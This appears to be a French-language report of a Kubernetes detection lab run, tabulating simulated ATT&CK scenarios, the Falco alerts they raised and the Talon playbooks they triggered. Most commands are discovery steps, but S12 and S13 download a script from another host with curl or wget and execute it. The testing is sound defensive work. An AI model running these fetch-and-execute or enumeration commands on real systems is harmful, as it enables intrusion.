PR10 - INF808 · Détection et réaction automatisées dans Kubernetes

Tableaux de données

Vues lisibles des fichiers TSV produits pendant le run. Les valeurs sont affichées sans transformation ; seuls la mise en page et les codes couleur sont ajoutés. Chaque section renvoie vers son fichier source.

Contenu

Métriques du run

Source : artefacts/analyse/metrics.env

CléLibelléValeur
CALDERA_PROJECT_TECHNIQUESTechniques ATT&CK du projet6
CALDERA_PRESENTPrésentes dans CALDERA6
CALDERA_CORRELATEDCorrélées CALDERA ↔ scénarios ↔ Falco6
CALDERA_REVIEW_CANDIDATESTechniques à examiner11
MANUAL_SCENARIOSScénarios contrôlés14
MANUAL_EXECUTEDExécutés14
MANUAL_DETECTEDDétectés par Falco14
MANUAL_ROUTEDRoutés vers un playbook14
MANUAL_COVERAGECouverture de détection (%)100.0

Détection des 14 scénarios contrôlés (vue traitée)

Source : artefacts/analyse/manual-detection.tsv · 14 ligne(s)

Une ligne par scénario : technique MITRE, règles Falco observées, routage Talon et état de notification.

numbermitre_idscenario_namecommandexecution_statusstart_tsend_tsfalco_detectedfalco_rulesalert_countresponse_falco_rulefalco_triggersidekick_talonplaybookroute_playbookplaybook_triggeredprimary_actionnotify_adminroute_marker_observedroute_trace_idfalco_event_excerptroute_falco_eventincident_id
1T1082Découverte des répertoires accessibles en écriture et des permissionsfind /tmp /var/tmp /dev/shm -maxdepth 2 -type d -writable -print 2>/dev/null; stat -c '%A %U:%G %n' /tmp /var/tmp /dev/shm 2>/dev/null; touch /tmp/manual-write-probe; stat /tmp/manual-write-probe >/dev/null; rm -f /tmp/manual-write-probeEXECUTED2026-11-09T06:11:11.510Z2026-11-09T06:11:17.945ZYESCustom T1059.004 Non Interactive Shell; Custom T1082 Enumeration Script; Shell Script Executed From Writable Container Path; Custom Suspicious Filesystem Enumeration; Drop and execute new binary in container6PR10 Route S01 PB1YESYESPB1PB1 Routing Validation Playbook S01YESCollecte de preuvesSKIPPEDYES-2026-11-09T06:11:11.674933114+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S01; find /tmp /var/tmp /dev/shm -maxdepth 2 -type d -writable -print 2>/dev/null; stat -c '%A %U:%G %n' /tmp /var/tmp /dev/shm 2>/dev/null; touch /tmp/manual-write-probe; stat /tmp/manual-write-probe >/dev/null; rm -f /tmp/manual-write-probe parent=<NA> container=cible1 pod=cible1) || 2026-11-09T06:11:11.674933114+0000: Warning CUSTOM T1082 - Exécution d’un script d’énumération (user=root command=sh -c PR10_SCENARIO=S01; find /tmp /var/tmp /dev/shm -maxdepth 2 -type d -writable -print 2>/dev/null; stat -c '%A %U:%G %n' /tmp /var/tmp /dev/shm 2>/dev/null; touch /tmp/manual-write-probe; stat /tmp/manual-write-probe >/dev/null; rm -f /tmp/manual-write-probe parent=<NA> container=cible1) || 2026-11-09T06:11:11.674933114+0000: Warning Exécution suspecte d’un script shell dans un conteneur (user=root uid=0 command=sh -c PR10_SCENARIO=S01; find /tmp /var/tmp /dev/shm -maxdepth 2 -type d -writable -print 2>/dev/null; stat -c '%A %U:%G %n' /tmp /var/tmp /dev/shm 2>/dev/null; touch /tmp/manual-write-probe; stat /tmp/manual-write-probe >/dev/null; rm -f /tmp/manual-write-probe process=sh parent=<NA> container=cible1 pod=cible1 namespace=default)2026-11-09T06:11:11.674933114+0000: Warning PR10 ROUTE S01 PB1 (pod=cible1 namespace=default scenario=S01 commande=sh -c PR10_SCENARIO=S01; find /tmp /var/tmp /dev/shm -maxdepth 2 -type d -writable -print 2>/dev/null; stat -c '%A %U:%G %n' /tmp /var/tmp /dev/shm 2>/dev/null; touch /tmp/manual-write-probe; stat /tmp/manual-write-probe >/dev/null; rm -f /tmp/manual-write-probe)ROUTE-S01-aws-20261109-0608
2T1082Énumération des privilèges et de l’hôteuname -a; cat /etc/os-release 2>/dev/null | head -20; id; find /usr/bin /usr/sbin -type f \( -perm -4000 -o -perm -2000 \) -ls 2>/dev/null | head -40; if command -v getcap >/dev/null 2>&1; then getcap -r / 2>/dev/null | head -100; fiEXECUTED2026-11-09T06:11:18.060Z2026-11-09T06:11:24.779ZYESCustom T1059.004 Non Interactive Shell; Custom Suspicious Filesystem Enumeration; Drop and execute new binary in container; Custom T1057 Process Discovery8PR10 Route S02 PB1YESYESPB1PB1 Routing Validation Playbook S02YESCollecte de preuvesSKIPPEDYES-2026-11-09T06:11:18.191508819+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S02; uname -a; cat /etc/os-release 2>/dev/null | head -20; id; find /usr/bin /usr/sbin -type f \( -perm -4000 -o -perm -2000 \) -ls 2>/dev/null | head -40; if command -v getcap >/dev/null 2>&1; then getcap -r / 2>/dev/null | head -100; fi parent=<NA> container=cible1 pod=cible1) || 2026-11-09T06:11:18.221725403+0000: Notice CUSTOM - Découverte du système de fichiers (user=root command=find /usr/bin /usr/sbin -type f ( -perm -4000 -o -perm -2000 ) -ls container=cible1 pod=cible1) || 2026-11-09T06:11:18.244972795+0000: Critical Executing binary not part of base image | proc_exe=getcap proc_sname=sh gparent=<NA> proc_exe_ino_ctime=1794203433918936480 proc_exe_ino_mtime=1783933016000000000 proc_exe_ino_ctime_duration_proc_start=1244324604169 proc_cwd=/ container_start_ts=1794203423779498188 evt_type=execve user=root user_uid=0 user_loginuid=-1 process=getcap proc_exepath=/usr/sbin/getcap parent=sh command=getcap -r / terminal=0 exe_flags=EXE_WRITABLE|EXE_UPPER_LAYER2026-11-09T06:11:18.191508819+0000: Warning PR10 ROUTE S02 PB1 (pod=cible1 namespace=default scenario=S02 commande=sh -c PR10_SCENARIO=S02; uname -a; cat /etc/os-release 2>/dev/null | head -20; id; find /usr/bin /usr/sbin -type f \( -perm -4000 -o -perm -2000 \) -ls 2>/dev/null | head -40; if command -v getcap >/dev/null 2>&1; then getcap -r / 2>/dev/null | head -100; fi)ROUTE-S02-aws-20261109-0608
3T1057Découverte des processus utilisateur et des lignes de commandeps aux | grep root | head -20; ps -eo pid,ppid,user,comm,args --sort=pid | head -30EXECUTED2026-11-09T06:11:24.878Z2026-11-09T06:11:31.516ZYESCustom T1059.004 Non Interactive Shell; Custom T1057 Process Discovery; Drop and execute new binary in container12PR10 Route S03 PB1YESYESPB1PB1 Routing Validation Playbook S03YESCollecte de preuvesSKIPPEDYES-2026-11-09T06:11:25.082595355+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S03; ps aux | grep root | head -20; ps -eo pid,ppid,user,comm,args --sort=pid | head -30 parent=<NA> container=cible1 pod=cible1) || 2026-11-09T06:11:25.090625190+0000: Notice CUSTOM T1057 - Découverte des processus (user=root command=ps aux parent=sh container=cible1) || 2026-11-09T06:11:25.090625190+0000: Critical Executing binary not part of base image | proc_exe=ps proc_sname=sh gparent=<NA> proc_exe_ino_ctime=1794203434720940389 proc_exe_ino_mtime=1753876720000000000 proc_exe_ino_ctime_duration_proc_start=1250364661160 proc_cwd=/ container_start_ts=1794203423779498188 evt_type=execve user=root user_uid=0 user_loginuid=-1 process=ps proc_exepath=/usr/bin/ps parent=sh command=ps aux terminal=0 exe_flags=EXE_WRITABLE|EXE_UPPER_LAYER2026-11-09T06:11:25.082595355+0000: Warning PR10 ROUTE S03 PB1 (pod=cible1 namespace=default scenario=S03 commande=sh -c PR10_SCENARIO=S03; ps aux | grep root | head -20; ps -eo pid,ppid,user,comm,args --sort=pid | head -30)ROUTE-S03-aws-20261109-0608
4T1057Découverte détaillée des processus systèmeps aux; ps -ef | head -40; ps -eo pid,ppid,user,stat,comm --sort=pid | head -40EXECUTED2026-11-09T06:11:31.609Z2026-11-09T06:11:38.169ZYESCustom T1059.004 Non Interactive Shell; Custom T1057 Process Discovery; Drop and execute new binary in container10PR10 Route S04 PB1YESYESPB1PB1 Routing Validation Playbook S04YESCollecte de preuvesSKIPPEDYES-2026-11-09T06:11:31.737014172+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S04; ps aux; ps -ef | head -40; ps -eo pid,ppid,user,stat,comm --sort=pid | head -40 parent=<NA> container=cible1 pod=cible1) || 2026-11-09T06:11:31.738974028+0000: Notice CUSTOM T1057 - Découverte des processus (user=root command=ps aux parent=sh container=cible1) || 2026-11-09T06:11:31.738974028+0000: Critical Executing binary not part of base image | proc_exe=ps proc_sname=sh gparent=<NA> proc_exe_ino_ctime=1794203434720940389 proc_exe_ino_mtime=1753876720000000000 proc_exe_ino_ctime_duration_proc_start=1257017684196 proc_cwd=/ container_start_ts=1794203423779498188 evt_type=execve user=root user_uid=0 user_loginuid=-1 process=ps proc_exepath=/usr/bin/ps parent=sh command=ps aux terminal=0 exe_flags=EXE_WRITABLE|EXE_UPPER_LAYER2026-11-09T06:11:31.737014172+0000: Warning PR10 ROUTE S04 PB1 (pod=cible1 namespace=default scenario=S04 commande=sh -c PR10_SCENARIO=S04; ps aux; ps -ef | head -40; ps -eo pid,ppid,user,stat,comm --sort=pid | head -40)ROUTE-S04-aws-20261109-0608
5T1057Énumération des processus et de procfsps; find /proc -maxdepth 1 -type d -regex '/proc/[0-9]+' 2>/dev/null | head -25; for p in /proc/[0-9]*/cmdline; do tr '\0' ' ' < "$p" 2>/dev/null | head -c 160; echo; done | head -30EXECUTED2026-11-09T06:11:38.264Z2026-11-09T06:11:44.702ZYESCustom T1059.004 Non Interactive Shell; Custom T1057 Process Discovery; Drop and execute new binary in container6PR10 Route S05 PB1YESYESPB1PB1 Routing Validation Playbook S05YESCollecte de preuvesSKIPPEDYES-2026-11-09T06:11:38.385153442+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S05; ps; find /proc -maxdepth 1 -type d -regex '/proc/[0-9]+' 2>/dev/null | head -25; for p in /proc/[0-9]*/cmdline; do tr '\0' ' ' < "$p" 2>/dev/null | head -c 160; echo; done | head -30 parent=<NA> container=cible1 pod=cible1) || 2026-11-09T06:11:38.391856292+0000: Notice CUSTOM T1057 - Découverte des processus (user=root command=ps parent=sh container=cible1) || 2026-11-09T06:11:38.391856292+0000: Critical Executing binary not part of base image | proc_exe=ps proc_sname=sh gparent=<NA> proc_exe_ino_ctime=1794203434720940389 proc_exe_ino_mtime=1753876720000000000 proc_exe_ino_ctime_duration_proc_start=1263670554160 proc_cwd=/ container_start_ts=1794203423779498188 evt_type=execve user=root user_uid=0 user_loginuid=-1 process=ps proc_exepath=/usr/bin/ps parent=sh command=ps terminal=0 exe_flags=EXE_WRITABLE|EXE_UPPER_LAYER2026-11-09T06:11:38.385153442+0000: Warning PR10 ROUTE S05 PB1 (pod=cible1 namespace=default scenario=S05 commande=sh -c PR10_SCENARIO=S05; ps; find /proc -maxdepth 1 -type d -regex '/proc/[0-9]+' 2>/dev/null | head -25; for p in /proc/[0-9]*/cmdline; do tr '\0' ' ' < "$p" 2>/dev/null | head -c 160; echo; done | head -30)ROUTE-S05-aws-20261109-0608
6T1057Découverte de la virtualisation et des processus de conteneurps aux | grep -Ei 'qemu|vmware|virtualbox|hyperv|containerd|kube|docker' | head -25 || true; cat /proc/1/cgroup 2>/dev/null | head -20; test -f /.dockerenv && echo container-marker-present || trueEXECUTED2026-11-09T06:11:44.794Z2026-11-09T06:11:51.325ZYESCustom T1059.004 Non Interactive Shell; Custom T1057 Process Discovery; Drop and execute new binary in container4PR10 Route S06 PB1YESYESPB1PB1 Routing Validation Playbook S06YESCollecte de preuvesSKIPPEDYES-2026-11-09T06:11:44.963596205+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S06; ps aux | grep -Ei 'qemu|vmware|virtualbox|hyperv|containerd|kube|docker' | head -25 || true; cat /proc/1/cgroup 2>/dev/null | head -20; test -f /.dockerenv && echo container-marker-present || true parent=<NA> container=cible1 pod=cible1) || 2026-11-09T06:11:44.967222155+0000: Notice CUSTOM T1057 - Découverte des processus (user=root command=ps aux parent=sh container=cible1) || 2026-11-09T06:11:44.967222155+0000: Critical Executing binary not part of base image | proc_exe=ps proc_sname=sh gparent=<NA> proc_exe_ino_ctime=1794203434720940389 proc_exe_ino_mtime=1753876720000000000 proc_exe_ino_ctime_duration_proc_start=1270245816496 proc_cwd=/ container_start_ts=1794203423779498188 evt_type=execve user=root user_uid=0 user_loginuid=-1 process=ps proc_exepath=/usr/bin/ps parent=sh command=ps aux terminal=0 exe_flags=EXE_WRITABLE|EXE_UPPER_LAYER2026-11-09T06:11:44.963596205+0000: Warning PR10 ROUTE S06 PB1 (pod=cible1 namespace=default scenario=S06 commande=sh -c PR10_SCENARIO=S06; ps aux | grep -Ei 'qemu|vmware|virtualbox|hyperv|containerd|kube|docker' | head -25 || true; cat /proc/1/cgroup 2>/dev/null | head -20; test -f /.dockerenv && echo container-marker-present || true)ROUTE-S06-aws-20261109-0608
7T1083Énumération récursive des répertoires et des fichiersls -la / /etc /tmp /var/tmp >/dev/null; find /etc -maxdepth 2 -type f 2>/dev/null | head -60; find /tmp /var/tmp -maxdepth 2 -type f 2>/dev/null | head -40EXECUTED2026-11-09T06:11:51.426Z2026-11-09T06:11:57.812ZYESCustom T1059.004 Non Interactive Shell; Custom T1082 Enumeration Script; Shell Script Executed From Writable Container Path4PR10 Route S07 PB1YESYESPB1PB1 Routing Validation Playbook S07YESCollecte de preuvesSKIPPEDYES-2026-11-09T06:11:51.547565344+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S07; ls -la / /etc /tmp /var/tmp >/dev/null; find /etc -maxdepth 2 -type f 2>/dev/null | head -60; find /tmp /var/tmp -maxdepth 2 -type f 2>/dev/null | head -40 parent=<NA> container=cible1 pod=cible1) || 2026-11-09T06:11:58.049629471+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S08; mkdir -p /tmp/manual-discovery; touch /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf /tmp/manual-discovery/manual-note.txt; find /tmp -type f -name 'manual-*' -print; stat /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf >/dev/null; rm -rf /tmp/manual-discovery parent=<NA> container=cible1 pod=cible1) || 2026-11-09T06:11:58.049629471+0000: Warning CUSTOM T1082 - Exécution d’un script d’énumération (user=root command=sh -c PR10_SCENARIO=S08; mkdir -p /tmp/manual-discovery; touch /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf /tmp/manual-discovery/manual-note.txt; find /tmp -type f -name 'manual-*' -print; stat /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf >/dev/null; rm -rf /tmp/manual-discovery parent=<NA> container=cible1)2026-11-09T06:11:51.547565344+0000: Warning PR10 ROUTE S07 PB1 (pod=cible1 namespace=default scenario=S07 commande=sh -c PR10_SCENARIO=S07; ls -la / /etc /tmp /var/tmp >/dev/null; find /etc -maxdepth 2 -type f 2>/dev/null | head -60; find /tmp /var/tmp -maxdepth 2 -type f 2>/dev/null | head -40)ROUTE-S07-aws-20261109-0608
8T1083Recherche de fichiers nommés et inspection des métadonnéesmkdir -p /tmp/manual-discovery; touch /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf /tmp/manual-discovery/manual-note.txt; find /tmp -type f -name 'manual-*' -print; stat /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf >/dev/null; rm -rf /tmp/manual-discoveryEXECUTED2026-11-09T06:11:57.905Z2026-11-09T06:12:04.328ZYESCustom T1059.004 Non Interactive Shell; Custom T1082 Enumeration Script; Shell Script Executed From Writable Container Path4PR10 Route S08 PB1YESYESPB1PB1 Routing Validation Playbook S08YESCollecte de preuvesSKIPPEDYES-2026-11-09T06:11:58.049629471+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S08; mkdir -p /tmp/manual-discovery; touch /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf /tmp/manual-discovery/manual-note.txt; find /tmp -type f -name 'manual-*' -print; stat /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf >/dev/null; rm -rf /tmp/manual-discovery parent=<NA> container=cible1 pod=cible1) || 2026-11-09T06:11:58.049629471+0000: Warning CUSTOM T1082 - Exécution d’un script d’énumération (user=root command=sh -c PR10_SCENARIO=S08; mkdir -p /tmp/manual-discovery; touch /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf /tmp/manual-discovery/manual-note.txt; find /tmp -type f -name 'manual-*' -print; stat /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf >/dev/null; rm -rf /tmp/manual-discovery parent=<NA> container=cible1) || 2026-11-09T06:11:58.049629471+0000: Warning Exécution suspecte d’un script shell dans un conteneur (user=root uid=0 command=sh -c PR10_SCENARIO=S08; mkdir -p /tmp/manual-discovery; touch /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf /tmp/manual-discovery/manual-note.txt; find /tmp -type f -name 'manual-*' -print; stat /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf >/dev/null; rm -rf /tmp/manual-discovery process=sh parent=<NA> container=cible1 pod=cible1 namespace=default)2026-11-09T06:11:58.049629471+0000: Warning PR10 ROUTE S08 PB1 (pod=cible1 namespace=default scenario=S08 commande=sh -c PR10_SCENARIO=S08; mkdir -p /tmp/manual-discovery; touch /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf /tmp/manual-discovery/manual-note.txt; find /tmp -type f -name 'manual-*' -print; stat /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf >/dev/null; rm -rf /tmp/manual-discovery)ROUTE-S08-aws-20261109-0608
9T1083Parcours et inspection du répertoire de travailpwd; cd /tmp; pwd; ls -la /tmp | head -40; find /tmp -maxdepth 1 -type f -print 2>/dev/null | head -25; stat /tmp 2>/dev/nullEXECUTED2026-11-09T06:12:04.414Z2026-11-09T06:12:10.802ZYESCustom T1059.004 Non Interactive Shell; Custom T1046 Network Service Discovery; Drop and execute new binary in container; Packet socket created in container5PR10 Route S09 PB1YESYESPB1PB1 Routing Validation Playbook S09YESCollecte de preuvesSKIPPEDYES-2026-11-09T06:12:04.544812939+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S09; pwd; cd /tmp; pwd; ls -la /tmp | head -40; find /tmp -maxdepth 1 -type f -print 2>/dev/null | head -25; stat /tmp 2>/dev/null parent=<NA> container=cible1 pod=cible1) || 2026-11-09T06:12:11.027529036+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S10; nmap -Pn -sV --version-light -p 80,443,8080 cible2 parent=runc container=cible1 pod=cible1) || 2026-11-09T06:12:11.032253238+0000: Warning CUSTOM T1046 - Découverte des services réseau (user=root processus=nmap commande=nmap -Pn -sV --version-light -p 80,443,8080 cible2 container=cible1)2026-11-09T06:12:04.544812939+0000: Warning PR10 ROUTE S09 PB1 (pod=cible1 namespace=default scenario=S09 commande=sh -c PR10_SCENARIO=S09; pwd; cd /tmp; pwd; ls -la /tmp | head -40; find /tmp -maxdepth 1 -type f -print 2>/dev/null | head -25; stat /tmp 2>/dev/null)ROUTE-S09-aws-20261109-0608
10T1046Identification des services réseaunmap -Pn -sV --version-light -p 80,443,8080 cible2EXECUTED2026-11-09T06:12:10.895Z2026-11-09T06:12:24.834ZYESCustom T1059.004 Non Interactive Shell; Custom T1046 Network Service Discovery; Drop and execute new binary in container; Packet socket created in container6PR10 Route S10 PB1YESYESPB1PB1 Routing Validation Playbook S10YESCollecte de preuvesSKIPPEDYES-2026-11-09T06:12:11.027529036+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S10; nmap -Pn -sV --version-light -p 80,443,8080 cible2 parent=runc container=cible1 pod=cible1) || 2026-11-09T06:12:11.032253238+0000: Warning CUSTOM T1046 - Découverte des services réseau (user=root processus=nmap commande=nmap -Pn -sV --version-light -p 80,443,8080 cible2 container=cible1) || 2026-11-09T06:12:11.032253238+0000: Critical Executing binary not part of base image | proc_exe=nmap proc_sname=sh gparent=runc proc_exe_ino_ctime=1794203435595944653 proc_exe_ino_mtime=1743184838000000000 proc_exe_ino_ctime_duration_proc_start=1295435933237 proc_cwd=/ container_start_ts=1794203423779498188 evt_type=execve user=root user_uid=0 user_loginuid=-1 process=nmap proc_exepath=/usr/bin/nmap parent=sh command=nmap -Pn -sV --version-light -p 80,443,8080 cible2 terminal=0 exe_flags=EXE_WRITABLE|EXE_UPPER_LAYER2026-11-09T06:12:11.027529036+0000: Warning PR10 ROUTE S10 PB1 (pod=cible1 namespace=default scenario=S10 commande=sh -c PR10_SCENARIO=S10; nmap -Pn -sV --version-light -p 80,443,8080 cible2)ROUTE-S10-aws-20261109-0608
11T1046Découverte de services TCP sur plusieurs portspython3 -c "import socket; host='cible2'; ports=(80,443,8080); [(lambda p: (print('probe',p), (lambda s: (s.settimeout(1), s.connect_ex((host,p)), print('result',p,s.connect_ex((host,p))), s.close()))(socket.socket())))(p) for p in ports]"EXECUTED2026-11-09T06:12:24.966Z2026-11-09T06:12:33.458ZYESCustom T1059.004 Non Interactive Shell; Drop and execute new binary in container; Custom T1082 Enumeration Script; Shell Script Executed From Writable Container Path; Custom T1105 Suspicious Tool Transfer9PR10 Route S11 PB1YESYESPB1PB1 Routing Validation Playbook S11YESCollecte de preuvesSKIPPEDYES-2026-11-09T06:12:25.126186139+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S11; python3 -c "import socket; host='cible2'; ports=(80,443,8080); [(lambda p: (print('probe',p), (lambda s: (s.settimeout(1), s.connect_ex((host,p)), print('result',p,s.connect_ex((host,p))), s.close()))(socket.socket())))(p) for p in ports]" parent=<NA> container=cible1 pod=cible1) || 2026-11-09T06:12:25.128024984+0000: Critical Executing binary not part of base image | proc_exe=python3 proc_sname=sh gparent=<NA> proc_exe_ino_ctime=1794203431370924062 proc_exe_ino_mtime=1786363619000000000 proc_exe_ino_ctime_duration_proc_start=1313756074362 proc_cwd=/ container_start_ts=1794203423779498188 evt_type=execve user=root user_uid=0 user_loginuid=-1 process=python3 proc_exepath=/usr/bin/python3.13 parent=sh command=python3 -c import socket; host='cible2'; ports=(80,443,8080); [(lambda p: (print('probe',p), (lambda s: (s.settimeout(1), s.connect_ex((host,p)), print('result',p,s.connect_ex((host,p))), s.close()))(socket.socket())))(p) for p in ports] terminal=0 exe_flags=EXE_WRITABLE|EXE_UPPER_LAYER || 2026-11-09T06:12:33.689017766+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S12; curl -fsS http://cible2/manual-tool.sh -o /tmp/manual-curl-tool.sh; sha256sum /tmp/manual-curl-tool.sh; chmod +x /tmp/manual-curl-tool.sh; ls -l /tmp/manual-curl-tool.sh; /bin/sh /tmp/manual-curl-tool.sh; rm -f /tmp/manual-curl-tool.sh parent=<NA> container=cible1 pod=cible1)2026-11-09T06:12:25.126186139+0000: Warning PR10 ROUTE S11 PB1 (pod=cible1 namespace=default scenario=S11 commande=sh -c PR10_SCENARIO=S11; python3 -c "import socket; host='cible2'; ports=(80,443,8080); [(lambda p: (print('probe',p), (lambda s: (s.settimeout(1), s.connect_ex((host,p)), print('result',p,s.connect_ex((host,p))), s.close()))(socket.socket())))(p) for p in ports]")ROUTE-S11-aws-20261109-0608
12T1105Transfert, inspection et exécution d’un outil avec curlcurl -fsS http://cible2/manual-tool.sh -o /tmp/manual-curl-tool.sh; sha256sum /tmp/manual-curl-tool.sh; chmod +x /tmp/manual-curl-tool.sh; ls -l /tmp/manual-curl-tool.sh; /bin/sh /tmp/manual-curl-tool.sh; rm -f /tmp/manual-curl-tool.shEXECUTED2026-11-09T06:12:33.551Z2026-11-09T06:12:39.981ZYESCustom T1059.004 Non Interactive Shell; Custom T1082 Enumeration Script; Shell Script Executed From Writable Container Path; Custom T1105 Suspicious Tool Transfer; Drop and execute new binary in container15PR10 Route S12 PB2YESYESPB2PB2 Routing Validation Playbook S12YESMise en quarantaine du fichierSKIPPEDYES-2026-11-09T06:12:33.689017766+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S12; curl -fsS http://cible2/manual-tool.sh -o /tmp/manual-curl-tool.sh; sha256sum /tmp/manual-curl-tool.sh; chmod +x /tmp/manual-curl-tool.sh; ls -l /tmp/manual-curl-tool.sh; /bin/sh /tmp/manual-curl-tool.sh; rm -f /tmp/manual-curl-tool.sh parent=<NA> container=cible1 pod=cible1) || 2026-11-09T06:12:33.689017766+0000: Warning CUSTOM T1082 - Exécution d’un script d’énumération (user=root command=sh -c PR10_SCENARIO=S12; curl -fsS http://cible2/manual-tool.sh -o /tmp/manual-curl-tool.sh; sha256sum /tmp/manual-curl-tool.sh; chmod +x /tmp/manual-curl-tool.sh; ls -l /tmp/manual-curl-tool.sh; /bin/sh /tmp/manual-curl-tool.sh; rm -f /tmp/manual-curl-tool.sh parent=<NA> container=cible1) || 2026-11-09T06:12:33.689017766+0000: Warning Exécution suspecte d’un script shell dans un conteneur (user=root uid=0 command=sh -c PR10_SCENARIO=S12; curl -fsS http://cible2/manual-tool.sh -o /tmp/manual-curl-tool.sh; sha256sum /tmp/manual-curl-tool.sh; chmod +x /tmp/manual-curl-tool.sh; ls -l /tmp/manual-curl-tool.sh; /bin/sh /tmp/manual-curl-tool.sh; rm -f /tmp/manual-curl-tool.sh process=sh parent=<NA> container=cible1 pod=cible1 namespace=default)2026-11-09T06:12:33.689017766+0000: Warning PR10 ROUTE S12 PB2 (pod=cible1 namespace=default scenario=S12 commande=sh -c PR10_SCENARIO=S12; curl -fsS http://cible2/manual-tool.sh -o /tmp/manual-curl-tool.sh; sha256sum /tmp/manual-curl-tool.sh; chmod +x /tmp/manual-curl-tool.sh; ls -l /tmp/manual-curl-tool.sh; /bin/sh /tmp/manual-curl-tool.sh; rm -f /tmp/manual-curl-tool.sh)ROUTE-S12-aws-20261109-0608
13T1105Transfert, préparation et exécution d’un outil avec wgetwget -q http://cible2/manual-tool.sh -O /tmp/.manual-wget-tool.sh; sha256sum /tmp/.manual-wget-tool.sh; chmod +x /tmp/.manual-wget-tool.sh; cp /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh; /bin/sh /tmp/manual-stage-copy.sh; rm -f /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.shEXECUTED2026-11-09T06:12:40.099Z2026-11-09T06:12:46.594ZYESCustom T1059.004 Non Interactive Shell; Custom T1082 Enumeration Script; Shell Script Executed From Writable Container Path; Custom T1105 Suspicious Tool Transfer; Drop and execute new binary in container; Custom T1057 Process Discovery16PR10 Route S13 PB2YESYESPB2PB2 Routing Validation Playbook S13YESMise en quarantaine du fichierSKIPPEDYES-2026-11-09T06:12:40.236922455+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S13; wget -q http://cible2/manual-tool.sh -O /tmp/.manual-wget-tool.sh; sha256sum /tmp/.manual-wget-tool.sh; chmod +x /tmp/.manual-wget-tool.sh; cp /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh; /bin/sh /tmp/manual-stage-copy.sh; rm -f /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh parent=<NA> container=cible1 pod=cible1) || 2026-11-09T06:12:40.236922455+0000: Warning CUSTOM T1082 - Exécution d’un script d’énumération (user=root command=sh -c PR10_SCENARIO=S13; wget -q http://cible2/manual-tool.sh -O /tmp/.manual-wget-tool.sh; sha256sum /tmp/.manual-wget-tool.sh; chmod +x /tmp/.manual-wget-tool.sh; cp /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh; /bin/sh /tmp/manual-stage-copy.sh; rm -f /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh parent=<NA> container=cible1) || 2026-11-09T06:12:40.236922455+0000: Warning Exécution suspecte d’un script shell dans un conteneur (user=root uid=0 command=sh -c PR10_SCENARIO=S13; wget -q http://cible2/manual-tool.sh -O /tmp/.manual-wget-tool.sh; sha256sum /tmp/.manual-wget-tool.sh; chmod +x /tmp/.manual-wget-tool.sh; cp /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh; /bin/sh /tmp/manual-stage-copy.sh; rm -f /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh process=sh parent=<NA> container=cible1 pod=cible1 namespace=default)2026-11-09T06:12:40.236922455+0000: Warning PR10 ROUTE S13 PB2 (pod=cible1 namespace=default scenario=S13 commande=sh -c PR10_SCENARIO=S13; wget -q http://cible2/manual-tool.sh -O /tmp/.manual-wget-tool.sh; sha256sum /tmp/.manual-wget-tool.sh; chmod +x /tmp/.manual-wget-tool.sh; cp /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh; /bin/sh /tmp/manual-stage-copy.sh; rm -f /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh)ROUTE-S13-aws-20261109-0608
